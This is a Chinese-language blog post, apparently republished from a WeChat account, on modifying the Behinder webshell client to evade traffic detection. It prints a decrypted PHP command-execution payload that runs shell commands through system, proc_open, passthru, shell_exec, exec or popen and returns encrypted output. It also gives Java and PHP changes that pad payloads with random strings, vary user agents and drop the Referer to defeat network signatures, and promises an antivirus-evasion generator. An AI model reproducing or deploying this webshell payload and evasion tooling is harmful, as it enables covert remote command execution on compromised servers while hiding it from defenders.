最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里简单记录一下冰蝎二开的过程。
继上次二开哥斯拉后,已经过去了七个月了,项目收获了很多star,感谢大家的star。
上次我们已经对godzilla进行了二开,这次我们继续对冰蝎进行简单的二开。
准备工作
首先致敬一下原版冰蝎,原版地址https://github.com/rebeyond/Behinder
我们这里使用的最新的[Behinder_v4.1【t00ls专版】Latest]版本,进行逆向及二开。虽然是4.1版本,但是本文还是在冰蝎3的木马上做研究。冰蝎因为涉及到自己设置加密解密脚本,我们将下篇文章进行研究。
反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。
当然也可以使用idea的插件进行反编译,都一样。
ok开始
环境搭建
这里细节的反编译及配置就不在此文章中体现了,这里配置的过程和哥斯拉一模一样。有兴趣的同学可以回看之前的文章godzilla二开学习。
只是接着添加主类不是哥斯拉的路径
是在这个路径,这个路径实际上是自己出来的。
要将反编译的srcMETA-INF/MANIFEST.MF源文件,放到src下面,注意路径。这个主类的路径就自己出来了。
点击选中主类,我们既可以愉快的二开了。
改标题
现在就可以编译了,我们先简单的改一下标题。
复制一份文件,冰蝎的标题在net/rebeyond/behinder/core/Constants.java复制src/net/rebeyond/behinder/core/Constants.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。
这里就可以看到相关的参数了,随意更改,老样子,我们随便改一下就好。然后build project 在build artifacts 就可以了。
这里有一点要注意,就是如果你运行生成好的jar,他说数据库未找到,那么你需要编辑一下环境
这个working directory需要设成你的生成文件的目录,这样,Behinder.Jar就能找到相关的数据库文件了,
当然别忘了把Behinder自带的目录都挪过来。
全局改造
我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。
看网上一些大师傅分析的结果,似乎都比较久远(3.0),我们尝试分析一下。
冰蝎是没有像哥斯拉一样的测试按钮的,我们只能直接打开。
在我们直接打开后,会发现,有三个数据包
我们先来看第一个包
POST /rebeyond/mian2.php HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencodedReferer: http://192.168.133.128:11001/DR6D/NX.phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Content-Length: 3096Host: 192.168.133.128:11001Connection: closeAccept-Encoding: gzip, deflate3Mn1yNMtoZViV5wotQHPJtww..HTTP/1.1 200 OKServer: nginxDate: Tue, 01 Jul 2025 12:55:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=ro9l5p843f3h6l9s30mcg8951c; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 286...
这里可以看到请求包中有
Accept: application/json, text/javascript, /; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencodedReferer: http://192.168.133.128:11001/DR6D/NX.phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
这些都是我们可以修改的,在net/rebeyond/behinder/core/Constants.java
可以看到相关的定义
Accept: application/json, text/javascript, /; q=0.01,表示客户端(例如浏览器或爬虫)告诉服务器:
“我能接受这些类型的数据格式作为响应内容,按优先级排列如下。”
-
1. application/json
-
• 客户端最希望服务器返回 JSON 格式的数据; -
• 典型于前后端通信、Ajax 请求、API 接口调用。 -
2. text/javascript
-
• 如果不能返回 JSON,可以返回 JavaScript 脚本(例如 JSONP 响应); -
• 虽然现在 application/javascript
更标准,但text/javascript
仍被广泛支持。 -
3. */*; q=0.01
-
• */*
意思是「任何其他类型都可以接受」; -
• q=0.01
是质量因子(quality factor),表示优先级很低(取值范围是 0.0 ~ 1.0); -
• 这里的 q=0.01
表示除非前面都不满足,否则不考虑其他类型。
这里可以看到都是常用的Accept ,没有什么特殊的。
原版里面给了一个accept,有同学问,不是给了两个么,是的,给了两个,
这样的话,就可以简单随机了,大概率感觉不会被设备标记,太普通了
一般也都是这种
public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
ua也定义了一下,看起来也都是一些常见的ua,我们直接给他换成我的edge,google,firefox的。
public static String[] userAgents在这里修改就行。
Accept-Language这里也简单修改一下,
大家仔细观察在上面bp图里面有一个Referer字段,这个字段是作者加的,
private String getReferer() { String refer; URL u = null; try { u = new URL(this.effectShellEntity.getString("url")); String oldPath = u.getPath(); String newPath = ""; String ext = oldPath.substring(oldPath.lastIndexOf(".")); oldPath = oldPath.substring(0, oldPath.lastIndexOf(".")); String[] parts = oldPath.split("/"); for (int i = 0; i < parts.length; ++i) { if (parts[i].length() == 0) continue; if (new Random().nextBoolean()) { int randomNum = new Random().nextInt(parts[i].length()); if (randomNum == 0) { randomNum = 4; } String randStr = new Random().nextBoolean() ? Utils.getRandomString(randomNum).toLowerCase() : Utils.getRandomString(randomNum).toUpperCase(); newPath = newPath + "/" + randStr; continue; } newPath = newPath + "/" + parts[i]; } newPath = newPath + ext; refer = this.currentUrl.replace(u.getPath(), newPath); } catch (Exception e) { return this.currentUrl; } return refer; }
响应的代码也是在shellservcie里,这一大段的意思就是,先获取根目录如Referer: http://192.168.133.128:11001/,然后随机取几个字符,放到后面,然后是什么语言的脚本就加一下随机几个字符.php,每次替换都是随机的,可能不替换我们当前的目录,可能部替换shell名字,就像下面这样。
如果我们把这个referer去掉,
没有referer 也是正常使用的。
这里猜测作者是想通过referer 进行伪装正常流量,我们这里就先给他去掉吧。
在很多网站上我们都可以看到有referer ,这或许会成为检测的标准,或者不会,我们就先去掉吧,后面如果有需要,我们在进行重写。
到此,大概请求的header就差不多了,我看有大佬的文章说,有的Content-Length在5700左右
这个是没有问题的,我们来看一下流量。为什么会产生这个数字。
冰蝎中每个语言都对应的模块
这些模块就是 当我们打开冰蝎的黑框后,我们在命令执行这个页面执行命令,就会调用cmd模块的代码。当我们执行ls后,
先会发一个大包,aes解开后,需要解开一个base464,
@error_reporting(0);functiongetSafeStr($str){$s1 = iconv('utf-8','gbk//IGNORE',$str);$s0 = iconv('gbk','utf-8//IGNORE',$s1);if($s0 == $str){return$s0; }else{returniconv('gbk','utf-8//IGNORE',$str); }}functionmain($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0);$result = array();$PadtJn = @ini_get('disable_functions');if (! empty($PadtJn)) {$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);$PadtJn = explode(',', $PadtJn);$PadtJn = array_map('trim', $PadtJn); } else {$PadtJn = array(); }$c = $cmd;if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {$c = $c . " 2>&1n"; }$JueQDBH = 'is_callable';$Bvce = 'in_array';if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {ob_start();system($c);$kWJW = ob_get_contents();ob_end_clean(); } elseif ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {$handle = proc_open($c, array(array('pipe','r' ),array('pipe','w' ),array('pipe','w' ) ), $pipes);$kWJW = NULL;while (! feof($pipes[1])) {$kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } elseif ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {ob_start();passthru($c);$kWJW = ob_get_contents();ob_end_clean(); } elseif ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {$kWJW = shell_exec($c); } elseif ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {$kWJW = array();exec($c, $kWJW);$kWJW = join(chr(10), $kWJW) . chr(10); } elseif ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {$fp = popen($c, 'r');$kWJW = NULL;if (is_resource($fp)) {while (! feof($fp)) {$kWJW .= fread($fp, 1024); } } @pclose($fp); } else {$kWJW = 0;$result["status"] = base64_encode("fail");$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key = $_SESSION['k'];echoencrypt(json_encode($result));return; }$result["status"] = base64_encode("success");$result["msg"] = base64_encode(getSafeStr($kWJW));echoencrypt(json_encode($result));}functionEncrypt($data){ @session_start();$key = $_SESSION['k'];if(!extension_loaded('openssl')) {for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return$data; }else {returnopenssl_encrypt($data, "AES128", $key); }}$cmd="Y2QgL3d3dy93d3dyb290L3BocC9yZWJleW9uZC8gO2xz";$cmd=base64_decode($cmd);$path="L3d3dy93d3dyb290L3BocC9yZWJleW9uZC8=";$path=base64_decode($path);main($cmd,$path);
就会得到一个源码里的模板,和执行命令传的参数,
这里cmd解出来就是传递的参数了,因为模板是确定的,那么他的传递的值大小就是确定的,这里因为我们执行的命令不一样,可能不一样,为什么呢,因为我们常常执行的命令都很短,
这里可以看到,执行短的命令就是5740左右,执行长的就会相应的加上一些。
找到相关的代码,因为每次都会加载php,我们刚刚看到的模板也copy出来一份,在net/rebeyond/behinder/core/Params.java中写一个随机位数的字符串,跨度大一些,
StringCHAR_POOL="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";Randomrandom=newRandom();intlength= random.nextInt(51) + 150;StringBuildersb=newStringBuilder(length);for (inti=0; i < length; i++) { sb.append(CHAR_POOL.charAt(random.nextInt(CHAR_POOL.length()))); }StringrandomStr= sb.toString();
随机150-200字符,太大了也不行,影响传输,慢。
然后再模板中随意定义一个变量
然后再进行替换一下,就好了。
打包编译,看下效果。
可以看到,在执行命令的时候也就可以动态的调整大小了。
相应的,我们再解请求包的时候,也就可以看到这个字符串了。
这里笔者只是加了cmd.php其他的都没加,因为笔者再测试的时候发现,其他功能的请求字符串大小波动比较大,都没有太固定再一个值范围边,如果需要的话,从新copy一份,加上要替换的字符也就可以了。
顺便在加一下jsp的,
需要在net/rebeyond/behinder/core/Params.java的
public static byte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {
修改,用到class修改,
publicstaticbyte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {StringtransProtocolName= transProtocol.getName();if (transProtocol.getId() < 0) {Stringkey= ((LegacyCryptor)transProtocol.getCryptor()).getKey();if (legacyPayloadClassCache.containsKey(transProtocolName) && legacyPayloadClassCache.get(transProtocolName).containsKey(key) && legacyPayloadClassCache.get(transProtocolName).get(key).containsKey(className)) {return legacyPayloadClassCache.get(transProtocolName).get(key).get(className).toBytecode(); }ClassPoolcp= ClassPool.getDefault();CtClassPocCls= cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));//java// === 插入随机字段 ===Stringchars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";Randomrandom=newRandom();intlength=150 + random.nextInt(1500);StringBuildersb=newStringBuilder();for (inti=0; i < length; i++) { sb.append(chars.charAt(random.nextInt(chars.length()))); }StringrandomValue= sb.toString();StringfieldName="bohemian_" + random.nextInt(9999);StringfieldSrc="private static final String " + fieldName + " = "" + randomValue + "";";CtFieldjunkField= CtField.make(fieldSrc, PocCls); PocCls.addField(junkField);//endCtMethodencodeMethod= CtNewMethod.make(transProtocol.getEncode(), PocCls); PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt")); PocCls.addMethod(encodeMethod); PocCls.setName(className); PocCls.detach(); Map<String, CtClass> payloadClass = newHashMap<>(); payloadClass.put(className, PocCls); Map<String, Map<String, CtClass>> keyPayloadMap = newHashMap<>(); keyPayloadMap.put(key, payloadClass); legacyPayloadClassCache.put(transProtocolName, keyPayloadMap);return PocCls.toBytecode(); }if (payloadClassCache.containsKey(transProtocolName) && payloadClassCache.get(transProtocolName).containsKey(className)) {return payloadClassCache.get(transProtocolName).get(className).toBytecode(); }ClassPoolcp= ClassPool.getDefault();CtClassPocCls= cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));CtMethodencodeMethod= CtNewMethod.make(transProtocol.getEncode(), PocCls); PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt")); PocCls.addMethod(encodeMethod); PocCls.setName(className); PocCls.detach(); HashMap<String, CtClass> payloadClass = newHashMap<String, CtClass>(); payloadClass.put(className, PocCls); payloadClassCache.put(transProtocolName, payloadClass);return PocCls.toBytecode(); }
这样每次用的时候执行命令的时候,就会把数据包随机的扩大一些了。
Content-length大小的改变就先到这里吧。
49700左右开始加的,
笔者在测试的时候似乎没发现这个特征,这里不太清楚是因为木马是3.0的原因还是啥,这里就不过多研究了,等下个文章研究4.0木马的时候,我们再来研究是否有这个特征。
接下来,我们还是要看一下冰蝎的流量,从以前写的文章中我们知道,在godzilla中
file_get_contents("php://input");
来接受所有的传递内容,所以我们在看behinder的流量时,会发现,是没有参数传递的。这个函数file_get_contents("php://input")和字符串,后面免杀要重点关注。这里如果在加一些 a=s&b=d&pass=balbal,似乎有些不好,不是那么规整了,这里就不在画蛇添足了。当然,如果想加的话,也不是不行,$post=file_get_contents("php://input");,直接获取参数的值给post变量即可。
下面我们来看,返回包,从以前写的文章中我们知道,godzilla的返回包带有密码和key的md5值,在返回包的前后,
也就是这样,让他没那么明显,但是我们回过头来看behinder的返回包
看起来似乎就是加密的流量,如果不解密出来的话,没有什么明显的特征,如果这里加成那种带message的其实也行,但是感觉没什么必要,加了有点突兀,这里笔者就先不加了。当然如果你想加也是可以的,在net/rebeyond/behinder/core/ShellService.java中,对data数据进行操作就可以了,当然前提是你的木马也要修改,就是echo一下。
也就是说,整体上来看behinder3.0的流量看起来还是挺正常的。目前来看不太需要进行更改。
总结
这里也只是简单的对冰蝎3.0的数据包流量进行一丢丢的修改,看到网上的一些特征做隐去处理,没有做过多的更改
下个版本
在server中,这样的话,不是很方便。
下个版本将新增一个免杀生成按钮,
目前框架已写好了,php和asp已经做完免杀了,其他的还需要做一些。很快将会完成。
下载、使用
什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/behinder_erkaisrc代码也以上传,免杀已有框架代码,大家直接下载研究即可。
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。
参考
https://github.com/rebeyond/Behinder 原版behinder
emmm 太菜了一直在路上
往期文章
原文始发于微信公众号(Cloud Security lab):冰蝎二开从0到1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论